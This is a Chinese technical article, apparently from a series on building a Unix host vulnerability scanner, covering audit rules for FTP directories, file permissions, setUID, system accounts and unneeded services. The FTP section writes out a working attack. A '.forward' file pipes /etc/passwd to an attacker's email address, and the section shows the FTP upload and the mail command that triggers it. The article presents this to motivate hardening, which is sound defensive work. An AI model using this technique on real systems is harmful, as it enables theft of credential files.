Unix主機(jī)漏洞掃描器的設(shè)計與實現(xiàn)(3)
Unix主機(jī)漏洞掃描器的設(shè)計與實現(xiàn)之審核文件和目錄權(quán)限規(guī)則
(1)FTP的根目錄
FTP的根目錄不同于主機(jī)系統(tǒng)的根目錄,所以FTP下看到的/etc/passwd和系統(tǒng)的/etc/passwd不是一個文件,但有些不稱職的系統(tǒng)管理員在創(chuàng)建FTP目錄結(jié)構(gòu)時會把系統(tǒng)的/etc/passwd文件直接拷貝過來,這就會給黑客以可乘之機(jī)。
FTP的根目錄是在系統(tǒng)的/etc/passwd文件中指定的,也就是用匿名FTP登錄到主機(jī)后的起始目錄。
例如:事先編寫forward_sucker_file shell腳本,內(nèi)容為:
- sun% cat forward_sucker_file
- "| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
- 通過FTP將forward_sucker_file腳本傳送到目標(biāo)主機(jī)(如ngcc.com)
- sun% ftp ngcc.com
- Connected to ngcc.com
- 220 victim FTP server ready.
- Name (ngcc.com:zy): ftp
- 331 Guest login ok, send ident as password.
- Password: [輸入電子郵件地址]
- 230 Guest login ok, access restrictions apply.
- ftp> put forward_sucker_file .forward
- 43 bytes sent in 0.0015 seconds (28 Kbytes/s)
- ftp> quit
將passwd文件內(nèi)容發(fā)送到黑客郵件地址:
sun% echo test | mail ftp@ngcc.com
如果匿名FTP主目錄可寫,可以在其下投放一個".forward"文件;文件內(nèi)容是一行用雙引號引起來的Shell命令;".forward"文件是用于郵件轉(zhuǎn)發(fā)的:如果某一用戶(此處為ftp)的主目錄下有這個文件,那么當(dāng)該用戶收到郵件時,就要視".forward"的內(nèi)容進(jìn)行轉(zhuǎn)發(fā)。如果".forward"的內(nèi)容為一些電子郵件地址,該郵件就被轉(zhuǎn)發(fā)到這些地址;而如果為一行用雙引號引起來的Shell命令,則該郵件的內(nèi)容被重定向到此命令。此處,命令為:"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr",實際上對重定向過來的作為輸入的郵件內(nèi)容沒有做任何處理,而是把/etc/passwd(為了防止被安全機(jī)制過濾,先在每一行行首增加一個空格)發(fā)到了攻擊者的電子郵件地址(me@my.e-mail.addr)。因此,在投放了這樣一個".forward"文件后,再隨便發(fā)一封電子郵件給victim.com上的FTP用戶,通過"轉(zhuǎn)發(fā)"功能,ngcc.com上的/etc/passwd文件就寄到攻擊者的電子郵件地址上。
(2)其他文件和目錄
確保沒有其他文件和目錄被FTP用戶或所在的組擁有所有權(quán)(ownered by ftp account and ftp group);否則,黑客可能借助特洛伊木馬程序?qū)戏ㄎ募M(jìn)行替代,構(gòu)成漏洞隱患。
除了~/ftp/incoming目錄外,匿名(anonymous)FTP 用戶在其他目錄下不能創(chuàng)建任何文件和子目錄。
文件和目錄權(quán)限修改要慎重:對于系統(tǒng)或CERT組織推薦的有關(guān)特定文件的讀寫權(quán)限,如/var/adm/utmpx和/var/adm/wtmpx文件權(quán)限應(yīng)該為644,不要輕易修改。一般情況下,擁有對任何文件和目錄具有寫權(quán)限的用戶只能是超級用戶,進(jìn)一步說,如果一個文件或目錄可寫,則可寫者只能為超級用戶。
(3)setUID和setGID問題
setUID的作用是允許程序以一個特定用戶的身份去運(yùn)行,而不管到底是誰在運(yùn)行它。就是說,setUID允許程序?qū)⑵溆脩鬒D改變?yōu)榱硪粋€用戶的ID。SetGID功能同setUID,區(qū)別是將一個正在運(yùn)行的程序的組帳號改變?yōu)橐粋€特定的組帳號。setUID和setGID只使用于可執(zhí)行文件,二者對某些特定的程序才可以訪問特定信息的情形是很有價值的。如普通用戶在運(yùn)行passwd命令時,由于該命令setUID為root,則可以獲得修改只有root才有相應(yīng)權(quán)限的/etc/shadow文件,從而改變自己的口令。
但是,setUID和setGID容易被黑客利用來制造緩沖區(qū)溢出,從而永久獲得root權(quán)限。據(jù)CERT指出,利用setUID制造緩沖區(qū)溢出是黑客獲得root權(quán)限的主要方法之一。因此,系統(tǒng)管理員不能隨意賦予可執(zhí)行文件setUID和setGID特性。
Unix主機(jī)漏洞掃描器的設(shè)計與實現(xiàn)之審核用戶帳戶的安全性規(guī)則
Solaris和Irix等Unix系統(tǒng)中,除去超級用戶外,還存在如lp、sys、adm、nobody等管理帳戶。雖然它們沒有超級用戶的特權(quán),但同樣應(yīng)受到保護(hù),因為這些帳戶的系統(tǒng)進(jìn)程可以控制基本的系統(tǒng)功能,如電子郵件、關(guān)系數(shù)據(jù)庫訪問、打印等。這些管理帳戶內(nèi)的任何一個遭到攻擊,都可能導(dǎo)致相應(yīng)子系統(tǒng)中的文件被大規(guī)模地暴露和損壞。例如,lp帳戶所受的破壞可能會造成攻擊者對打印子系統(tǒng)獲得完全控制,從而使黑客能夠任意地修改打印輸出的內(nèi)容。
從管理帳戶在Web服務(wù)器運(yùn)作中的職責(zé)和作用看,大部分應(yīng)該予以封閉。比如lp,Web服務(wù)器上是沒有必要也不允許打印文件的。由于這些管理帳戶是Unix系統(tǒng)預(yù)裝的,系統(tǒng)管理員常予以保留。但這些管理帳戶可能被黑客利用,且它們對Web服務(wù)器用處不大。所以,一些管理帳戶,包括daemon、sys、lp、adm、uucp、nuucp、listen,應(yīng)該封閉。
此外,超級用戶的PATH(在cshell中存在于.cshrc文件,在kshell中存在于.profile文件)或LD_LIBRARY_PATH變量中,不應(yīng)該存在"."或"~"字符,因為黑客可能利用這一點(diǎn)來植入特洛伊木馬程序。
審核用戶帳戶的安全性規(guī)則涉及到/etc/passwd和/etc/shadow兩個核心文件。一方面,系統(tǒng)管理員要保證其內(nèi)容完整性,禁止非法修改,或者及時發(fā)現(xiàn)非法修改并予以修正;另一方面,禁止無口令或弱勢口令的存在。所謂弱勢口令指易于猜測、破解或長期不變更的口令。實踐表明,主機(jī)安全的核心問題是超級用戶的口令安全問題。超級用戶的口令被泄露或被成功破解,等于拱手將服務(wù)器系統(tǒng)的所有管理權(quán)讓于黑客,黑客可以輕易獲得主機(jī)內(nèi)的所有數(shù)據(jù)。
Unix主機(jī)漏洞掃描器的設(shè)計與實現(xiàn)之禁止不必要的網(wǎng)絡(luò)訪問服務(wù)規(guī)則
所謂不必要的網(wǎng)絡(luò)訪問服務(wù)是指實現(xiàn)主機(jī)系統(tǒng)網(wǎng)絡(luò)服務(wù)功能所不需要運(yùn)行的服務(wù)。對于Web主機(jī)而言,很多網(wǎng)絡(luò)訪問服務(wù)在操作系統(tǒng)安裝時就被缺省配置,其所對應(yīng)的TCP/UDP端口也對外打開,如非常危險的finger服務(wù)和它對應(yīng)的79號TCP端口。
通過對網(wǎng)站的端口掃描,可以發(fā)現(xiàn)很多系統(tǒng)管理員對外提供了或多或少的不必要的網(wǎng)絡(luò)訪問服務(wù)。而從系統(tǒng)內(nèi)部審核不必要網(wǎng)絡(luò)訪問服務(wù)的方法是禁止不必要的網(wǎng)絡(luò)訪問服務(wù)的最有效手段之一。需要補(bǔ)充的是,另外一些需要禁止的服務(wù)為:sendmail、NFS服務(wù)器和客戶機(jī)、automounter和rexd等。
由于sendmail是著名的漏洞程序,很多機(jī)構(gòu)購置了Netscape Messaging Server等其他mail服務(wù)軟件加以替代;rexd服務(wù)基本無安全可言,遠(yuǎn)程用戶可以象在本地一樣暢通無阻地運(yùn)行本地主機(jī)的程序。因此rexd處于被禁之列。
【編輯推薦】